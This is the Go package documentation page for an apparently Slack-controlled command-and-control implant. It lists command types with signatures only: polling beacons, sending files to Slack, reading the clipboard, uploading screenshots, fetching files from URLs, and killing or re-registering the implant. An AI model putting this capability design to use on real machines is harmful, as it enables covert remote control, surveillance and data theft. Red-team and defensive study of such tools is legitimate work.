common

package
v0.0.0-...-aa32a7f Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Oct 10, 2019 License: GPL-3.0 Imports: 22 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

This section is empty.

Functions

This section is empty.

Types

type Beacon

type Beacon struct{}

Beacon changes the polling frequency

func (Beacon) Name

func (b Beacon) Name() string

Name is the name of the command

func (Beacon) Run

func (b Beacon) Run(clientID string, jobID string, args []string) (string, error)

Run changes the polling frequency

type CD

type CD struct{}

CD changes the current working directory

func (CD) Name

func (c CD) Name() string

Name is the name of the command

func (CD) Run

func (c CD) Run(clientID string, jobID string, args []string) (string, error)

Run changes the current working directory

type Cat

type Cat struct{}

Cat prints the contents of the file

func (Cat) Name

func (c Cat) Name() string

Name is the name of the command

func (Cat) Run

func (c Cat) Run(clientID string, jobID string, args []string) (string, error)

Run prints the contents of the file

type Clipboard

type Clipboard struct{}

Clipboard reads the clipboard

func (Clipboard) Name

func (c Clipboard) Name() string

Name is the name of the command

func (Clipboard) Run

func (c Clipboard) Run(clientID string, jobID string, args []string) (string, error)

Run reads the clipboard

type Download

type Download struct{}

Download sends the file to Slack

func (Download) Name

func (d Download) Name() string

Name is the name of the command

func (Download) Run

func (d Download) Run(clientID string, jobID string, args []string) (string, error)

Run sends the file to Slack

type Find

type Find struct{}

Find searches the current directory for the glob

func (Find) Name

func (f Find) Name() string

Name is the name of the command

func (Find) Run

func (f Find) Run(clientID string, jobID string, args []string) (string, error)

Run searches the current directory for the glob

type GetIP

type GetIP struct{}

GetIP gets the external WAN outbound ip of this machine

func (GetIP) Name

func (g GetIP) Name() string

Name is the name of the command

func (GetIP) Run

func (g GetIP) Run(clientID string, jobID string, args []string) (string, error)

Run gets the external WAN outbound ip of this machine

type GetUID

type GetUID struct{}

GetUID is an alias for whoami

func (GetUID) Name

func (g GetUID) Name() string

Name is the name of the command

func (GetUID) Run

func (g GetUID) Run(clientID string, jobID string, args []string) (string, error)

Run is an alias for whoami

type Hostname

type Hostname struct{}

Hostname is an alias for whoami

func (Hostname) Name

func (h Hostname) Name() string

Name is the name of the command

func (Hostname) Run

func (h Hostname) Run(clientID string, jobID string, args []string) (string, error)

Run is an alias for whoami

type IFConfig

type IFConfig struct{}

IFConfig dumps interface and network information

func (IFConfig) Name

func (i IFConfig) Name() string

Name is the name of the command

func (IFConfig) Run

func (i IFConfig) Run(clientID string, jobID string, args []string) (string, error)

Run dumps interface and network information

type Kill

type Kill struct{}

Kill kills the implant process

func (Kill) Name

func (k Kill) Name() string

Name is the name of the command

func (Kill) Run

func (k Kill) Run(clientID string, jobID string, args []string) (string, error)

Run kills the implant process

type List

type List struct{}

List the files in the given directory

func (List) Name

func (l List) Name() string

Name is the name of the command

func (List) Run

func (l List) Run(clientID string, jobID string, args []string) (string, error)

Run lists the files in the given directory

type MkDir

type MkDir struct{}

MkDir creates the given directory

func (MkDir) Name

func (m MkDir) Name() string

Name is the name of the command

func (MkDir) Run

func (m MkDir) Run(clientID string, jobID string, args []string) (string, error)

Run creates the given directory

type PWD

type PWD struct{}

PWD gets the current working directory

func (PWD) Name

func (p PWD) Name() string

Name is the name of the command

func (PWD) Run

func (p PWD) Run(clientID string, jobID string, args []string) (string, error)

Run gets the current working directory

type RM

type RM struct{}

RM removes the given file or empty directory

func (RM) Name

func (p RM) Name() string

Name is the name of the command

func (RM) Run

func (p RM) Run(clientID string, jobID string, args []string) (string, error)

Run removes the given file or empty directory

type RMDir

type RMDir struct{}

RMDir removes the given empty directory

func (RMDir) Name

func (p RMDir) Name() string

Name is the name of the command

func (RMDir) Run

func (p RMDir) Run(clientID string, jobID string, args []string) (string, error)

Run removes the given empty directory

type Revive

type Revive struct{}

Revive reregisters the implant with the channel

func (Revive) Name

func (r Revive) Name() string

Name is the name of the command

func (Revive) Run

func (r Revive) Run(clientID string, jobID string, args []string) (string, error)

Run reregisters the implant with the channel

type Screenshot

type Screenshot struct{}

Screenshot takes screenshot(s) and uploads them

func (Screenshot) Name

func (s Screenshot) Name() string

Name is the name of the command

func (Screenshot) Run

func (s Screenshot) Run(clientID string, jobID string, args []string) (string, error)

Run takes screenshot(s) and uploads them

type Sleep

type Sleep struct{}

Sleep pauses for N seconds

func (Sleep) Name

func (s Sleep) Name() string

Name is the name of the command

func (Sleep) Run

func (s Sleep) Run(clientID string, jobID string, args []string) (string, error)

Run pauses for N seconds

type Upload

type Upload struct{}

Upload retrieves a file from a URL and writes it to disk

func (Upload) Name

func (u Upload) Name() string

Name is the name of the command

func (Upload) Run

func (u Upload) Run(clientID string, jobID string, args []string) (string, error)

Run retrieves a file from a URL and writes it to disk

type WhoAmI

type WhoAmI struct{}

WhoAmI returns the current user

func (WhoAmI) Name

func (s WhoAmI) Name() string

Name is the name of the command

func (WhoAmI) Run

func (s WhoAmI) Run(clientID string, jobID string, args []string) (string, error)

Run returns the current user

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL